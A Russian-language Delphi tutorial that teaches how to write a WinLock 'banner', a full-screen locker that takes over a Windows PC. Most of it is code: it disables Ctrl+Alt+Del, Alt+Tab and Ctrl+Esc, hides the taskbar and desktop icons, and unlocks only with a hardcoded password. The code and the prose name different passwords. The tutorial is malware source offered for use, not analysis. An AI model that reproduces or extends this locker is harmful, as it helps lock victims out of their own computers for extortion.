Для того чтобы учить этот урок, нужны драйвера: Mozg.dll, Ruki.Dll
Установили? Начинаем!
Здравствуйте, представляю вашему вниманию очередную статью о программирование в Delphi.
Сегодня я научу вас писать простейшие баннеры (WinLock).
Для того чтобы начать творить, откройте Delphi 7 и создайте новое приложение.
На форму кидаем картинку (Фон Винлока), один TEdit и TButton.
Чтобы компоненты приобрели стиль Windows XP, нужно в implementation дописать {$R WinXp.Res}.
Ссылку на скачивание и краткое использование в конце статьи.
Итак начнем кодинг!
Прежде всего нужно настроить форму. Переходим в Object Inspector, выбираем Form1.
Изменяем BorderStyle (с bsSizable на bsNone).
Впринцепи этого достаточно.
Переходим в события (Events) формы (Form1), создаем событие OnActivate.
Добавляем var:
hTaskBar:THandle.
Пишем действие:
Чтобы форма приобрела размеры экрана, пишем:
Form1.Height:=screen.Height;
Form1.Width:=screen.Width;
Чтобы отключить ALT+CTRL+DELETE, ALT+TAB, CTRL+ESC нужно:
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
Убираем панель задач (Пуск):
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
Убираем значки с рабочего стола:
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
Должно получится так:
procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar:THandle;
begin
Form1.Height:=screen.Height;
Form1.Width:=screen.Width;
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Идем дальше, чтобы скрыть вводимый пароль в TEdit'e под звездочкой нужно создать событие оnchange.
Edit1.PasswordChar:='*';
Должно получится так:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;
Далее делаем проверку пароля:
Создаем событие оnclick у TButton.
Добавляем var:
hTaskBar : THandle;
Password:string[10]; - Количество вводимых символов.
Действие:
Password:=Edit1.Text;
If (Password='softino.clan.su') then
Т.е пароль на разблокировку xakep.ru.
Действие (Возращаем все на свои места):
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
Тут мы включили все что отключали.
Закрываем программу
Close;
Должно быть так:
procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=Edit1.text;
If (Password=’softino.clan.su') then
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
Close;
end
Если пароль верен то окно закроется, если нет то:
else
begin
ShowMessage('Пароль неправильный, попробуйте еще!');
Edit1.Clear;
end;
end.
Автор: SD
| 
